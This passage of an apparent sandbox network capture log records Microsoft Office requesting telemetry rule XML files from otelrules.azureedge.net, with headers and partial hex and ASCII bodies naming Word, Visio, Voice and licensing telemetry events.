SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49857	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:03 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:03 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:03 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 5a53efb7-001e-0034-5556-23dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065103Z-r197bdfb6b4kzncf21qcaynxz800000001dg00000000fw58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:03 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49853	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:04 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:04 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: c52d6895-f01e-001f-0bd3-205dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065104Z-16849878b78ngdnlw4w0762cms00000007gg000000002apn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:04 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49862	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:04 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:04 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:04 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: d9905de8-801e-0083-31a7-24f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065104Z-15b8d89586fvk4kmwqg9fgbkn800000002wg000000008he2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:04 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49861	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:04 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:04 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:04 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 273a8d1a-001e-0034-0d8c-21dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065104Z-16849878b784cpcc2dr9ch74ng00000007a000000000ha3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:04 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49863	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:04 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:04 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:04 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d0d0f8e5-601e-000d-298c-212618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065104Z-16849878b78bkvbz1ry47zvsas00000007a000000000czeb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:04 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49864	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:04 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:04 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:04 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 9f3a3312-201e-0096-7bbe-20ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065104Z-16849878b78fmrkt2ukpvh9wh4000000077000000000fc0w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:04 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49865	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:04 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:05 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:04 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 999b9529-701e-001e-53f4-24f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065104Z-r197bdfb6b4h2vctng0a0nubg80000000ae000000000c1fm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:05 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49866	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:05 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:05 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:05 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 55d9b643-201e-003f-330b-226d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065105Z-16849878b785jsrm4477mv3ezn000000079g000000008stv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:05 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49867	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:05 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:05 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:05 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e3e5e386-001e-0014-4ffc-245151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065105Z-r197bdfb6b4kkrkjudg185sarw00000001dg000000008803 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:05 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49868	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:05 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:05 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:05 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 20049dc1-d01e-0014-1b33-22ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065105Z-16849878b78mhkkf6kbvry07q0000000073g00000000mtp6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:05 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49869	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:05 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:05 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:05 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b140c98b-501e-000a-75f9-240180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065105Z-15b8d89586f989rks44whx5v7s0000000dqg00000000bmq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:05 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49870	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:05 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:06 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:05 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 67684ae8-901e-0016-58ee-21efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065105Z-16849878b7862vlcc7m66axrs0000000079000000000enfx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
